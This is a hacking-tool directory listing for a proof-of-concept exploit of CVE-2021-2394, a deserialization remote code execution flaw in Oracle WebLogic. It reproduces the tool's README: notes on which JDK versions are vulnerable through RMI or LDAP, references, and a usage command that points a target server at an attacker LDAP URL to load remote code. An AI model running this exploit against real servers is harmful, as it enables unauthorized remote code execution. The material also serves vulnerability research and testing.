Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-2394 — Proof-of-concept exploit for CVE-2021-2394, a remote code execution vulnerability in Oracle WebLogic Server. Uses LDAP or RMI deserialization to deliver a payload. | Kitploit
Tools/GitHubGitHub/lz2y/cve-2021-2394
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHublz2y/cve-2021-2394

CVE-2021-2394

Proof-of-concept exploit for CVE-2021-2394, a remote code execution vulnerability in Oracle WebLogic Server. Uses LDAP or RMI deserialization to deliver a payload.

View Repository
402014 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-2394

POC of CVE-2021-2394

  • Disclaimer
    • This project is for learning purposes only. Any direct or indirect consequences and losses caused by unauthorized testing shall be borne by the user.

  • Notes

    • The POC sends packets using IIOP. Please add relevant dependencies (dependencies for version 12.2.1.3.0 have been placed in the release).
    • Please use a lower version of JDK to install WebLogic for testing.

      RMI-based exploitation: JDK version limited to before 6u132, 7u131, 8u121. From 8u122 onwards, a deserialization whitelist mechanism was added, disabling remote code loading via RMI. LDAP-based exploitation: JDK version limited to before 6u211, 7u201, 8u191, 11.0.1. In version 8u191, Oracle imposed restrictions on LDAP vectors, released CVE-2018-3149, and closed JNDI remote class loading. From: https://www.freebuf.com/vuls/279465.html

    • If unable to reproduce in a virtual machine environment, refer to https://xz.aliyun.com/t/7498

  • Usage:

    • Start an LDAP service
    • java -jar CVE_2021_2394.jar rhost rport ldapurl
    • eg:java -jar CVE_2021_2394.jar 192.168.137.1 7001 ldap://192.168.137.1:8087/Exploit

  • References:

    • https://mp.weixin.qq.com/s/onoMpyenDkMmsoGEw8VO2A
    • https://github.com/Y4er/CVE-2020-14756
  • https://github.com/Y4er/CVE-2020-2551

  • Update

    • 2021/8/15 Removed some unnecessary code

  • Analysis article

    • https://mp.weixin.qq.com/s/AxJJxbkclr4ijXX8lpNAfw
    • Download Tool